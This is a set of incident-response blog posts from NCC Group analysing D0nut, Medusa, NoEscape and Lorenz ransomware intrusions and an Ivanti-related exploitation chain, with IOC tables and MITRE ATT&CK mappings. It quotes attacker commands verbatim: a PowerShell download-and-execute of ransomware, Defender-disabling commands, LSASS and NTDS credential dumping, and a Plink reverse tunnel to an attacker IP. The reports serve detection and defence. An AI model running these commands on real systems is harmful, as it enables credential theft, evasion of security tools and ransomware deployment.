Analysis of the executable identified the following IP addresses which are contacted on port 4001 to establish communications with the C2 server: 

• 85.239.52[.]7  
• 194.87.111[.]29  

Exfiltration  

Rclone, an open-source file cloud storage program heavily favoured by threat actors to perform data exfiltration, was deployed once the threat actor had identified a system which hosted data of interest. Through recovering the Rclone configuration file located at C:\User\<user>\AppData\Roaming\rclone.conf, the SFTP server 83.149.93[.]150 was identified as the destination of the exfiltrated data.  

Initially deployed as rclone.exe, the threat actor swiftly renamed the file to explorer.exe in an attempt to blend in. However, due to the file residing in the File Server Resource Manager (FSRM) folder C:\StorageReports\Scheduled\, this artefact was highly noticeable.  

Impact

Ransomware was deployed to workstations and servers once the threat actor had exfiltrated data from the network to use as leverage in the forthcoming ransom demands. The ransomware also impacted an ESXi server, encrypting the hosted virtual machines at the hypervisor level.  

Volume shadow copies for a data drive of a file server were purged by the threat actor preceding the ransomware execution.   

The ransomware was downloaded and executed via the following PowerShell command: 

powershell.exe iwr -useb hxxp[:]//ix[.]io/4uD0 -outfile xd.exe ; .\xd.exe debug defgui 

In some other instances, the ransomware was deployed as wxd7.exe. The ransomware executables were observed being executed from the following locations (however it is likely that the folders may vary from case to case and the threat actor uses any folders in the root of C:\): 

• C:\Temp\ 
• C:\ProgramData\ 
• C:\storage\ 
• C:\StorageReports\

During analysis of the ransomware executable, the following help message was derived which provides command line arguments for the program: 

A fairly unique ransom note is dropped after the encryption process in the form of a HTML file named readme.html: 

Recommendations  

1. Ensure that both online and offline backups are taken and test the backup plan regularly to identify any weak points that could be exploited by an adversary.  

2. Hypervisors should be isolated by placing them in a separate domain or by adding them to a workgroup to ensure that any compromise in the domain in which the hosted virtual machines reside does not pose any risk to the Hypervisors.  

3. Restrict internal RDP and SMB traffic so that only hosts that are required to communicate via these protocols are allowed to.     

4. Monitor firewalls for anomalous spikes in data leaving the network. 

5. Apply Internet restrictions to servers so that they can only establish external communications with known good IP addresses and domains that are required for business operations. 

If you have been impacted by D0nut, or currently have an incident and would like support, please contact our Cyber Incident Response Team on +44 331 630 0690 or email [email protected]. 

Indicators Of Compromise  

IOC Value	Indicator Type	Description
hxxp[:]//ix[.]io/4uD0	URL	Hosted ransomware executable – xd.exe
85.239.52[.]7:4001	IP:PORT	SystemBC C2
194.87.111[.]29:4001	IP:PORT	SystemBC C2
83.149.93[.]150	IP Address	SFTP server used for data exfiltration
eb876e23dbbfe44c7406fcc7f557ee772894cc0b	SHA1	Ransomware executable – wxd7.exe
d4832169535e5d91b91093075f3b10b96973a250	SHA1	SystemBC executable – explorer.exe
550cd82011df93cc89dc0431fa13150707d6aca2	SHA1	Used to kill AV and EDR processes – def.exe
f6f11ad2cd2b0cf95ed42324876bee1d83e01775	SHA1	Used to kill AV and EDR processes – RTCore.sys
C:\ProgramData\xd.exe C:\temp\xd.exe C:\storage\xd.exe C:\Temp\wxd7.exe C:\ProgramData\wxd7.exe C:\storage\wxd7.exe C:\StorageReports\wxd7.exe	File Path	Ransomware executable
C:\ProgramData\explorer.exe	File Path	SystemBC
C:\StorageReports\Scheduled\explorer.exe	File Path	Rclone
C:\ProgramData\def.exe C:\temp\def.exe C:\ProgramData\d.dll C:\temp\d.dll	File Path	Used to kill AV and EDR processes

MITRE ATT CK®

Tactic	Technique	ID	Description
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	PowerShell was utilized to execute malicious commands
Execution	System Services: Service Execution	T1569.002	Cobalt Strike remotely created temporary services to execute its payload
Execution	System Services: Service Execution	T1569.002	PsExec creates a service to perform it’s execution
Persistence	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	T1547.001	SystemBC created a run key entry to establish persistence.
Privilege Escalation	Process Injection: Portable Executable Injection	T1055.002	def.exe achieved privilege escalation through process injection
Defense Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	The threat actor modified a legitimate GPO to disable Windows Defender functionality
Defense Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	def.exe and d.dll were deployed to terminate EDR and AV services
Lateral Movement	SMB/Admin Windows Shares	T1021.002	Cobalt Strike targeted SMB shares for lateral movement
Lateral Movement	SMB/Admin Windows Shares	T1021.002	PsExec uses SMB shares to execute processes on remote hosts
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001	RDP was used to establish sessions to other hosts on the network
Command and Control	Proxy: External Proxy	T1090.002	SystemBC communicates with its C2 server via proxies
Exfiltration	Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	The threat actor exfiltrated data to an SFTP server
Impact	Inhibit System Recovery	T1490	Volume shadow copies for a file server were deleted prior to encryption from the ransomware
Impact	Data Encrypted for Impact	T1486	Ransomware was deployed to the estate and impacted both servers and user workstations
Impact	Data Encrypted for Impact	T1486	Virtual machines hosted on an ESXi server were encrypted at the hypervisor level

Unveiling the Dark Side: A Deep Dive into Active Ransomware Families 

Author: Molly Dewis 

Intro 

Our technical experts have written a blog series focused on Tactics, Techniques and Procedures (TTP’s) deployed by four ransomware families recently observed during NCC Group’s incident response engagements.   

In case you missed it, our last post analysed an Incident Response engagement involving the D0nut extortion group. In this instalment, we take a deeper dive into the Medusa. 

Not to be confused with MedusaLocker, Medusa was first observed in 2021, is a Ransomware-as-a-Service (RaaS) often using the double extortion method for monetary gain. In 2023 the groups’ activity increased with the launch of the ‘Medusa Blog’. This platform serves as a tool for leaking data belonging to victims. 

Summary 

This post will delve into a recent incident response engagement handled by NCC Group’s Cyber Incident Response Team (CIRT) involving Medusa Ransomware.  

Below provides a summary of findings which are presented in this blog post: 

• Use of web shells to maintain access. 
• Utilising PowerShell to conduct malicious activity. 
• Dumping password hashes.  
• Disabling antivirus services.  
• Use of Windows utilises for discovery activities.  
• Reverse tunnel for C2. 
• Data exfiltration.  
• Deployment of Medusa ransomware. 

Medusa  

Medusa ransomware is a variant that is believed to have been around since June 2021 [1]. Medusa is an example of a double-extortion ransomware where the threat actor exfiltrates and encrypts data. The threat actor threatens to release or sell the victim’s data on the dark web if the ransom is not paid. This means the group behind Medusa ransomware could be characterised as financially motivated. Victims of Medusa ransomware are from no particular industry suggesting the group behind this variant have no issue with harming any organisation.  

Incident Overview 

Initial access was gained by exploiting an external facing web server. Webshells were created on the server which gave the threat actor access to the environment. From initial access to the execution of the ransomware, a wide variety of activity was observed such as executing Base64 encoded PowerShell commands, dumping password hashes, and disabling antivirus services. Data was exfiltrated and later appeared on the Medusa leak site.  

Timeline 

T – Initial Access gained via web shells.  

T+13 days – Execution activity. 

T+16 days – Persistence activity. 

T+164 days – Defense Evasion activity. 

T+172 days – Persistence and Discovery activity. 

T+237 days – Defense Evasion and Credential Access Activity started. 

T+271 days – Ransomware Executed.  

Mitre TTPs 

Initial Access 

The threat actor gained initial access by exploiting a vulnerable application hosted by an externally facing web server. Webshells were deployed to gain a foothold in the victim’s environment and maintain access.  

Execution 

PowerShell was leveraged by the threat actor to conduct various malicious activity such as:   

• Downloading executables  
  • Example: powershell.exe -noninteractive -exec bypass powershell -exec bypass -enc … 
• Disabling Microsoft Defender 
  • Example: powershell -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true;New-ItemProperty -Path ‘HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender’ -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; 
• Deleting executables 
  • Example: powershell.exe -noninteractive -exec bypass del C:\\PRogramdata\\re.exe 
• Conducting discovery activity  
  • Example: powershell.exe -noninteractive -exec bypass net group domain admins /domain 

Windows Management Instrumentation (WMI) was utilised to remotely execute a cmd.exe process: wmic /node:<IP ADDRESS> / user:<DOMAIN\\USER> /password:<REDACTED> process call create ‘cmd.exe’. 

Scheduled tasks were used to execute c:\\programdata\\a.bat. It is not known exactly what a.bat was used for, however, analysis of a compiled ASPX file revealed the threat actor had used PowerShell to install anydesk.msi.  

• powershell Invoke-WebRequest -Uri hxxp://download.anydesk[.]com/AnyDesk.msi -OutFile anydesk.msi 
• msiExec.exe /i anydesk.msi /qn 

A cmd.exe process was started with the following argument list: c:\\programdata\\a.bat’;start-sleep 15;ps AnyDeskMSI 

Various services were installed by the threat actor. PDQ Deploy was installed to deploy LAdHW.sys, a kernel driver which disabled antivirus services. Additionally, PSEXESVC.exe was installed on multiple servers. On one server, it was used to modify the firewall to allow WMI connections.   

Persistence 

Maintaining access to the victim’s network was achieved by creating a new user admin on the external facing web server (believed to be the initial access server). Additionally, on the two external facing web servers, web shells were uploaded to establish persistent access and execute commands remotely. JavaScript-based web shells were present on one web server and the GhostWebShell [2] was found on the other. The GhostWebShell is fileless however, its compiled versions were saved in C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\<APPLICATION NAME>\<HASH>\<HASH>. 

Defence Evasion 

Evading detection was one of the aims for this threat actor due to the various defence evasion techniques utilised. Antivirus agents were removed from all affected hosts including the antivirus server. Microsoft Windows Defender capabilities were disabled by the threat actor using: powershell -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true;New-ItemProperty -Path ‘HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender’ -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force;.  

Additionally, LAdHW.sys, a signed kernel mode driver was installed as a new service to disable antivirus services. The following firewall rule was deleted: powershell.exe -Command amp; {Remove-NetFirewallRule -DisplayName \”<Antivirus Agent Firewall Rule Name>\”.  

The threat actor obfuscated their activity. Base64 encoded PowerShell commands were utilised to download malicious executables. It should be noted many of these executables such as JAVA64.exe and re.exe were deleted after use. Additionally, Sophos.exe (see below) which was packed with Themida, was executed.  

The value of HKLM\SYSTEM\ControlSet001\Control\SecurityProviders\WDigest\\UseLogonCredential was modified to 1 so that logon credentials were stored in cleartext. This enabled the threat actor to conduct credential dumping activities. 

Credential Access 

The following credential dumping techniques were utilised by the threat actor:  

• Using the Nishang payload to dump password hashes. Nishang is a collection of PowerShell scripts and payloads. The Get-PassHashes script, which requires admin privileges, was used.  
• Mimikatz was present on one of the external facing web servers, named as trust.exe. A file named m.txt was identified within C:\Users\admin\Desktop, the same location as the Mimikatz executable. 
• An LSASS memory dump was created using the built-in Windows tool, comsvcs.dll. 
  • powershell -exec bypass -c “rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ((ps lsass).id) C:\programdata\test.png full 
• he built-in Windows tool ntdsutil.exe was used to extract the NTDS:  
  • powershell ntdsutil.exe ‘ac i ntds’ ‘ifm’ ‘create full c:\programdata\nt’ q q 

Discovery 

The threat actor conducted the following discovery activity: 

Type of discovery activity	Description
nltest /trusted_domains	Enumerates domain trusts
net group ‘domain admins’ /domain	Enumerates domain groups
net group ‘domain computers’ / domain	Enumerates domain controllers
ipconfig /all	Learn about network configuration and settings
tasklist	Displays a list of currently running processes on a computer
quser	Show currently logged on users
whoami	Establish which user they were running as
wmic os get name	Gathers the name of the operating system
wmic os get osarchitecture	Establishes the operating system architecture

Lateral Movement 

Remote Desktop Protocol (RDP) was employed to laterally move through the victim’s network. 

Command and Control 

A reverse tunnel allowed the threat actor to establish a new connection from a local host to a remote host. The binary c:\programdata\re.exe was executed and connected to 134.195.88[.]27 over port 80 (HTTP). Threat actors tend to use common protocols to blend in with legitimate traffic which can be seen in this case, as port 80 was used. 

Additionally, the JWrapper Remote Access application was installed on various servers to maintain access to the environment. AnyDesk was also utilised by the threat actor.  

Exfiltration 

Data was successfully exfiltrated by the threat actor. The victim’s data was later published to the Medusa leak site.  

Impact 

The Medusa ransomware in the form of gaze.exe, was deployed to the victim’s network. Files were encrypted, and .MEDUSA was appended to file names. The ransom note was named !!!READ_ME_MEDUSA!!!.txt. System recovery was inhibited due to the deletion of all VMs from the Hyper-V storage as well as local and cloud backups.  

Indicators of Compromise 

IOC Value	Indicator Type	Description
webhook[.]site	Domain	Malicious webhook
bashupload[.]com	Domain	Download JAVA64.exe and RW.exe
tmpfiles[.]org	Domain	Download re.exe
134.195.88[.]27:80	IP:PORT	C2
8e8db098c4feb81d196b8a7bf87bb8175ad389ada34112052fedce572bf96fd6	SHA256	trust.exe (Mimikatz.exe)
3e7529764b9ac38177f4ad1257b9cd56bc3d2708d6f04d74ea5052f6c12167f2	SHA256	JAVA_V01.exe
f6ddd6350741c49acee0f7b87bff7d3da231832cb79ae7a1c7aa7f1bc473ac30	SHA256	testy.exe / gmer_th.exe
63187dac3ad7f565aaeb172172ed383dd08e14a814357d696133c7824dcc4594	SHA256	JAVA_V02.exe
781cf944dc71955096cc8103cc678c56b2547a4fe763f9833a848b89bf8443c6	SHA256	Sophos.exe
C:\Users\Sophos.exe	File Path	Sophos.exe
C:\Users\admin\Desktop\	File Path	trust.exe JAVA_V01.exe testy.exe gmer_th.exe JAVA_V02.exe
C:\ProgramData\JWrapper-Remote Access\	File Path	JWrapper files
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\<APPLICATION NAME>\<HASH>\<HASH>	File Path	GhostWebshell compiled files
C:\Windows\PSEXESVC.exe	File Path	PsExec
C:\Users\<USERS>\AppData\Local\Temp\LAdHW.sys	File Path	Disables AV
C:\Windows\AdminArsenal\PDQDeployRunner\service-1\PDQDeployRunner-1.exe	File Path	PDQDeployRunner – used to deploy LAdHW.sys
C:\Users\<USER>\AppData\Local\Temp\2\gaze.exe C:\Windows\System32\gaze.exe	File Path	Ransomware executable

MITRE ATT CK® 

Tactic	Technique	ID	Description
Initial Access	Exploit Public-Facing Application	T1190	A vulnerable application hosted by an external facing web server was exploited .
Execution	Windows Management Instrumentation	T1047	WMI used to remotely execute a cmd.exe process.
Execution	Scheduled Task/Job: Scheduled Task	T1053.005	Execute a.bat
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	PowerShell was leveraged to execute malicious commands.
Execution	Software Deployment Tools	T1072	PDQ Deploy was installed to deploy LAdHW.sys.
Execution	System Services: Service Execution	T1569.002	PsExec was installed as a service.
Persistence	Create Account: Domain Account	T1136.0012	A new user ‘admin’ was created to maintain access.
Persistence	Server Software Component: Web Shell	T1505.003	Web shells were utilised to maintain access.
Defense Evasion	Obfuscated Files or Information: Software Packing	T1027.002	Sophos.exe was packed with Themida.
Defense Evasion	Indicator Removal: File Deletion	T1070.004	Malicious executables were deleted after use.
Defense Evasion	Indicator Removal: Clear Persistence	T1070.009	Malicious executables were deleted after use.
Defense Evasion	Obfuscated Files or Information	T1027	Base64 encoded PowerShell commands were utilised to download malicious executables.
Defense Evasion	Modify Registry	T1112	The WDigest registry key was modified to enable credential dumping activity.
Defense Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	Antivirus services were disabled.
Defense Evasion	Impair Defenses: Disable or Modify System Firewall	T1562.004	Firewall rules were deleted.
Credential Access	OS Credential Dumping: LSASS Memory	T1003.001	Mimikatz was utilised.  An LSASS memory dump was created.
Credential Access	OS Credential Dumping: NTDS	T1003.003	Ntdsutil.exe was used to extract the NTDS.
Discovery	Domain Trust Discovery	T1482	Nltest was used to enumerate domain trusts.
Discovery	Permission Groups Discovery: Domain Groups	T1069.002	Net was used to enumerate domain groups.
Discovery	System Network Configuration Discovery	T1016	Ipconfig was used to learn about network configurations.
Discovery	System Service Discovery	T1007	Tasklist was used to display running processes.
Discovery	Remote System Discovery	T1018	Net was used to enumerate domain controllers.
Discovery	System Owner/User Discovery	T1033	Quser was used to show logged in users. Whoami was used to establish which user the threat actor was running as.
Discovery	System Information Discovery	T1082	Wmic was used to gather the name of the operating system and its architecture.
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001	RDP was used to laterally move through the environment.
Command and Control	Ingress Tool Transfer	T1105	PowerShell commands were used to download and execute malicious files.
Command and Control	Remote Access Software	T1219	JWrapper and AnyDesk were leveraged.
Command and Control	Protocol Tunnelling	T1572	A reverse tunnel was established.
Exfiltration	Exfiltration	TA0010	Data was exfiltrated and published to the leak site.
Impact	Data Encrypted for Impact	T1486	Medusa ransomware was deployed.
Impact	Inhibit System Recovery	T1490	VMs from the Hyper-V storage and local and cloud backups were deleted.

References 

[1] https://www.bleepingcomputer.com/news/security/medusa-ransomware-gang-picks-up-steam-as-it-targets-companies-worldwide/  

[2] https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/ 

---

Author: Alex Jessop (@ThisIsFineChief)

Summary

Tl;dr

This post will delve into a recent incident response engagement handled by NCC Group’s Cyber Incident Response Team (CIRT) involving the Ransomware-as-a-Service known as NoEscape.

Below provides a summary of findings which are presented in this blog post: 

• Initial access gained via a publicly disclosed vulnerability in an externally facing server
• Use of vulnerable drivers to disable security controls
• Remote Desktop Protocol was used for Lateral Movement
• Access persisted through tunnelling RDP over SSH
• Exfiltration of data via Mega
• Execution of ransomware via scheduled task

NoEscape

NoEscape is a new financially motivated ransomware group delivering a Ransomware-as-a-Service program which was first observed in May 2023 being advertised on a dark web forum, as published by Cyble [1]. It is believed they are a spin-off of the group that used to be known as Avaddon. This post will focus on the Tactics, Techniques and Procedures employed by a threat actor utilising NoEscape Ransomware in a recent Incident Response Engagement.

Review of the NoEscape dark web portal and their list of victims shows no trends in industries targeted which suggests they are opportunistic in nature. To date, 89 victims (18 active) have been posted on the NoEscape portal, with the first being published on 14^th June 2023. Monetary gain is the main objective of this ransomware group. In addition to the usual double extortion method of ransomware and data exfiltration which has been popular in recent years, NoEscape also has a third extortion method: the ability to purchase a DDoS/Spam add on to further impact victims.

Incident Overview

NoEscape appear to target vulnerable external services, with the initial access vector being via the exploitation of a Microsoft Exchange server which was publicly facing in the victim’s environment. Exploitation led to webshells being created on the server and gave the threat actor an initial foothold into the environment.

The threat actor seemed opportunistic in nature, whose objective was monetary gain with a double extortion method of ransomware which included data exfiltration. However, they did appear low skilled due to a kitchen sink approach employed when trying to disable antivirus and dump credentials. Multiple different tools were deployed to enact the same job for the threat actor, which is quite a noisy approach often not observed by the more sophisticated threat actor.

A secondary access method was deployed to ensure continued access in the event that the initial access vector was closed to the threat actor. Data was exfiltrated to a well-known cloud storage provider, however this was interrupted due to premature execution of the ransomware which encrypted files that were being exfiltrated.

Timeline

• T – Initial Access gained via webshell
• T+1 min – Initial recon and credential dumping activity
• T+9 min – Secondary access method established via Plink
• T+18 days – Second phase of credential dumping activity
• T+33 days – Data Exfiltration
•  T+33 days – Ransomware Executed

Mitre TTPs

Initial Access

T1190 – Exploit Public-Facing Application

In keeping with the opportunistic nature, initial access was gained through exploiting the vulnerabilities CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207 which are more commonly known as ProxyShell.

WebShell were uploaded to the victims Microsoft Exchange server and gave the threat actor an initial foothold on the network.

Execution

T1059.001 – Command and Scripting Interpreter: PowerShell

PowerShell was utilised by the threat actor, using the Defender command Set-MpPreference to exclude specific paths from being monitored. This was an attempt to ensure webshells were not detected and remediated by the antivirus.

T1059.003 – Command and Scripting Interpreter: Windows Command Shell

Windows native commands were executed during the discovery phase; targeting domain admin users, antivirus products installed etc.

• net  localgroup administrators
• cmd.exe  /c net group \”REDACTED” /domain
• cmd.exe  /c WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

T1053.005 – Scheduled Task

As has been well documented [2], a Scheduled Task with the name SystemUpdate was used to execute the ransomware.

Persistence 

T1505.003 – Server Software Component: Web Shell

Web Shells provided the threat actor continued access to the estate through the initial access vector.

Privilege Escalation

T1078.002 – Valid Accounts: Domain Accounts

Threat actor gained credentials for valid domain accounts which were used for the majority of lateral movement and execution

T1078.003 – Valid Accounts: Local Accounts

The threat actor was observed enabling the DefaultAccount and utilising this to execute their tools locally on a host.

Defence Evasion

T1562.001 – Impair Defences: Disable or Modify Tools

The threat actor showed their potential lack of experience as multiple different drivers were dropped in an attempt to disable the deployed EDR and AV. Instead of deploying a single driver, multiple drivers and tools were dropped in a ‘throw the kitchen sink at it’ approach.

File	Description
Gmer.exe	GMER is a rootkit detector and remover, utilised by threat actors to identify and kill processes such as antivirus and EDR
aswArPot.sys	An Avast antivirus driver deployed by threat actors to disable antivirus solutions.
mhyprot2.sys	Genshin Impact anti-cheat driver which is utilised by threat actors to kill antivirus processes.

Credential Access

T1003 – Credential Dumping

Similar to the above, multiple credential dumping tools were dropped by the threat actor in an attempt to obtain legitimate credentials.

File	Description
CSDump.exe	Unknown dumping tool (no longer on disk)
Fgdump.exe	A tool for mass password auditing of the Windows systems by dumping credentials from LSASS
MemoryDumper.exe	Creates an encrypted memory dump from LSASS process to facilitate offline cracking of passwords hashes.

Discovery

T1087.001 – Account Discovery: Local Account

A number of inbuilt Windows commands were used to gain an understanding of the local administrators on the group:

net localgroup administrators

net group “REDACTED” /domain

T1018 – Remote System Discovery

Similarly, inbuilt Windows commands were also used to discover information on the network, such as the primary domain controller for the estate:

netdom query /d:REDACTED PDC

Lateral Movement

T1021.001 – Remote Desktop Protocol

Valid domain credentials were obtained through dumping the LSASS process, these accounts were then used to laterally move across the environment via RDP.

Command and Control

T1572 – Protocol Tunnelling

Secondary method of access was deployed by the threat actor, in the event that the initial access vector was closed, by deploying PuTTY link onto multiple hosts in the environment. A SSH tunnel was created to present RDP access to the host from a public IP address owned by the threat actor.

p64.exe [email protected][.]238 -pw REDACTED -P 443 -2 -4 -T -N -C -R 0.0.0.0:10445:127.0.0.1:3389

T1219 – Remote Access Software

The threat actor also utilised software already deployed onto the estate to maintain access, in this scenario obtaining credentials to the TeamViewer deployment.

Exfiltration

T1048.002 – Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

As has become common when data is exfiltrated from a victims estate in recent years, the MegaSync.exe utility was used to exfiltrate data from the estate directly to Mega’s cloud storage platform.

Impact

T1486 – Data Encrypted for Impact

The encryptor targeted all files on the C:\ drive except those with the below extension:

bat, bin, cmd, com, cpl, dat, dll, drv, exe, hta, ini, lnk, lock, log, mod, msc, msi, msp, pif, prf, rdp, scr, shs, swp, sys, theme

IOC List

Value	Type	Description
142D950E7DD975056BD3487672C14C26450D55C1	SHA1	Mega Sync
2F366382D2DB32AACA15F9CADC14C693B33C361F	SHA1	Ransomware binary
4709827c7a95012ab970bf651ed5183083366c79	SHA1	Putty Link
75DB5A0B47783B4E4C812CF521C3A443FACB6BBB	SHA1	Ransomware binary
BB3593007FE44993E102830EDC3255836A97FB01	SHA1	Ransomware binary
FB0A150601470195C47B4E8D87FCB3F50292BEB2	SHA1	PsExec
214551A8C07633D8C70F7BE4689EFE3BB74ABFD6E64264CF440100413EA6BE6B	SHA256	Mega Sync
53B5A02259C69AB213BA1458D7F70B01614CC32E040B849AD67FEFB07A725945	SHA256	Ransomware binary
828e81aa16b2851561fff6d3127663ea2d1d68571f06cbd732fdf5672086924d	SHA256	Putty Link
078212DEA0C7FD9CDFA40DBB320B29900F4E8BA0E64D2199F6CAE0BC23D1C625	SHA256	Ransomware binary
2020CAE5115B6980D6423D59492B99E6AAA945A2230B7379C2F8AE3F54E1EFD5	SHA256	Ransomware binary
AD6B98C01EE849874E4B4502C3D7853196F6044240D3271E4AB3FC6E3C08E9A4	SHA256	PsExec
172.93.181[.]238	IP	Malicious IP used for tunnelling via Plink
66.203.125[.]14	IP	Mega IP

MITRE ATT CK® 

Tactic	Technique	ID	Description
Initial Access	Exploit Public-Facing Application	T1190	The vulnerabilities CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207, commonly known as ProxyShell, were exploited
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	PowerShell was utilized to add an exclusion path to the anti-virus to prevent the web shells from being detected
Execution	Command and Scripting Interpreter: Windows Command Shell	T1059.003	Native Windows commands were utilised during the discovery phase of the endpoint and victim estate
Execution	Scheduled Task	T1053.005	A scheduled task was utilised to execute the ransomware binary
Persistence	Server Software Component: Web Shell	T1505.003	Web Shells were uploaded to the Exchange server via exploitation of the ProxyShell vulnerabilities
Privilege Escalation	Valid Accounts: Domain Accounts	T1078.002	Credentials to domain accounts were obtained and utilised for lateral movement
Privilege Escalation	Valid Accounts: Local Accounts	T1078.003	A disabled local account was re-enabled by the threat actor and used.
Defence Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	Tooling was deployed in an attempt to disable the deployed endpoint security controls
Credentials Access	Credential Dumping	T1003	Various different tools were deployed to dump credentials from LSASS
Discovery	Account Discovery: Local Account	T1087.001	‘net’ native Windows command was utilised to discovery users in the domain administrator group
Discovery	Remote System Discovery	T1018	‘netdom’ was utilised to discover the primary domain controller for the victims estate
Lateral Movement	Remote Desktop Protocol	T1021.001	The primary method of lateral movement was RDP
Command and Control	Protocol Tunnelling	T1572	PuTTY link, also known as Plink, was used to tunnel RDP connections over SSH to provide the threat actor with direct access to the Exchange server as back-up to the web shells
Command and Control	Remote Access Software	T1219	Access was gained to the existing TeamViewer deployment and utilised for lateral movement
Exfiltration	Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	MegaSync was utilised to exfiltrate data to the cloud storage solution Mega
Impact	Data Encrypted for Impact	T1486	Ransomware was deployed across the estate

References

[1] – Cyble — ‘NoEscape’ Ransomware-as-a-Service (RaaS)

[2] – Meet NoEscape: Avaddon ransomware gang’s likely successor – RedPacket Security

---

Authors: David Brown and Mungomba Mulenga

TL;dr

NCC Group has observed what we believe to be the attempted exploitation of CVE-2021-42278 and CVE-2021-42287 as a means of privilege escalation, following the successful compromise of an Ivanti Secure Connect VPN using the following zero-day vulnerabilities reported by Volexity1 on 10/01/2024:

• CVE-2023-46805 – an authentication-bypass vulnerability with a CVSS score of 8.2

• CVE-2024-21887 – a command-injection vulnerability found into multiple web components with a CVSS score of 9.1

By combining these vulnerabilities threat actors can quickly access a network and obtain domain administrator privileges.

New TTPs

There is a wealth of excellent information from the Cybersecurity community detailing the subsequent tactics, techniques and procedures (TTPs) and indicators of compromise (IOCs) that have been observed since the public reporting on the Ivanti zero day. This blog focuses on the exploitation of specific CVEs, that when used together could be particularly damaging.

T1068 – Privilege Escalation – Exploitation for Privilege Escalation

NCC Group has assisted a number of clients who are dealing with the Ivanti Connect Secure VPN zero-day and in the process of doing so we identified what we believe to be follow on actions that attempted to leverage CVE-2021-422782 and CVE-2021-422873.

These are vulnerabilities in Active Directory that when combined can allow a regular user to impersonate a domain administrator.

In order to successfully exploit these in an environment there will need to be a domain controller present that is not patched against this vulnerability, the threat actor would need access to a regular domain user account and a machine user account quota above zero.

This activity shows that threat actors are quickly attempting lateral movement and privilege escalation once they have gained a foothold on a compromised Ivanti Connect Secure VPN.

Detection

If you have Ivanti Connect Secure VPNs in use, then it is advised to do the following to check if you are vulnerable to this attack or if it has been attempted in your organization:

• Check that all of your domain controllers are patched against CVE-2021-42278 and CVE-2021-42287.
• Check domain controller logs for suspicious activity coming from the Ivanti appliance, specifically the following:
  • Windows Security Log Event ID 5156 – The windows filtering platform has allowed a connection
  • Windows Security Log Event ID 4673 – A privileged service was called
  • Windows Security Log Event ID 4741 – A computer account was created
  • Windows Security Log Event ID 4724 – An attempt was made to reset an account’s password
  • Windows Security Log Event ID 4742 – A computer account was changed
  • Windows Security Log Event ID 4781 – The name of an account was changed

If you have been affected by the Ivanti vulnerability and see above activity that coincides with compromise you should invoke your incident response plan immediately and investigate further.

Mitigation

The good news is that mitigation for this issue is relatively straightforward. The following should be considered:

• Patch all domain controllers against the underlying CVEs
• Set the machine account quota for standard users to zero

Please ensure to test the impact of any changes within your environment before applying mitigations.

Conclusion

It appears that threat actors are rapidly stringing CVE’s together to take advantage of the access the Ivanti Zero day has provided. NCC Group has not been able to attribute the attacks at this time or define what the end objectives were, as the attacks were interrupted.

The Ivanti issue does present an opportunity for initial access brokers to plant backdoors in environments however, leading to the possibility of follow on action taking place weeks or months after the initial compromise of the Ivanti Connect Secure VPN.

It underscores how important it is that there is a thorough investigation of the wider environment if an Ivanti compromise is detected.

If you think you are experiencing an attack contact our 24/7 incident response team using this link.

Author: Zaid Baksh

In the ever-evolving landscape of cyber threats, ransomware remains a persistent menace, with groups like Lorenz actively exploiting vulnerabilities in small to medium businesses globally. Since early 2021, Lorenz has been employing double-extortion tactics, exfiltrating sensitive data before encrypting systems and threatening to sell or release it publicly unless a ransom is paid by a specified date.  

Recent investigations by NCC Group’s Digital Forensics and Incident Response (DFIR) Team in APAC have uncovered significant deviations in Lorenz’s Tactics, Techniques, and Procedures (TTPs), shedding light on the group’s evolving strategies. 

Key TTP changes:

• New encryption extension – .sz41 
• Random strings for file and schedule task names 
• Binaries to create local admin accounts for persistence 
• Scheduled tasks to conduct enumeration 
• New encryption method – DLL – RSA using current time epoch as seed (predictable) 

Changing Encryption Extensions 

One notable shift observed in Lorenz’s recent activities is a change in their encryption extension. Previously, the group used the extensions ‘Lorenz.sz40’ or ‘.sz40’; however, during the recent compromise, a new extension, ‘.sz41,’ was identified. While seemingly minor, these extensions often serve as the group’s signature, making this change noteworthy. A change in the encryption extension can also indicate a change in the encryption methods being used. 

File and Task Naming Conventions 

During the investigation, the threat actor preferred the use of randomly generated strings, such as ‘[A-Z]{0-9},’ for file names and scheduled tasks. This includes the ransom note, now named ‘HELP__[A-Za-z]{0-9}__HELP.html,’ in contrast to the previously reported ‘HELP_SECURITY_EVENT.html.’ This demonstrates the group’s adaptability and attempts to subvert known Indicators of Compromise. 

Malicious File: Wininiw.exe 

A key discovery during the investigation was the presence of ‘Wininiw.exe’ in the ‘C:\Windows\*’ directory on compromised systems. The threat actor utilized this executable to modify the local Windows Registry, creating a new user with a specified password, and adding it to the Administrator group. Although the threat actor already had Administrator privileges, the creation of a new user may serve as a backup persistence mechanism. 

Scheduled Tasks 

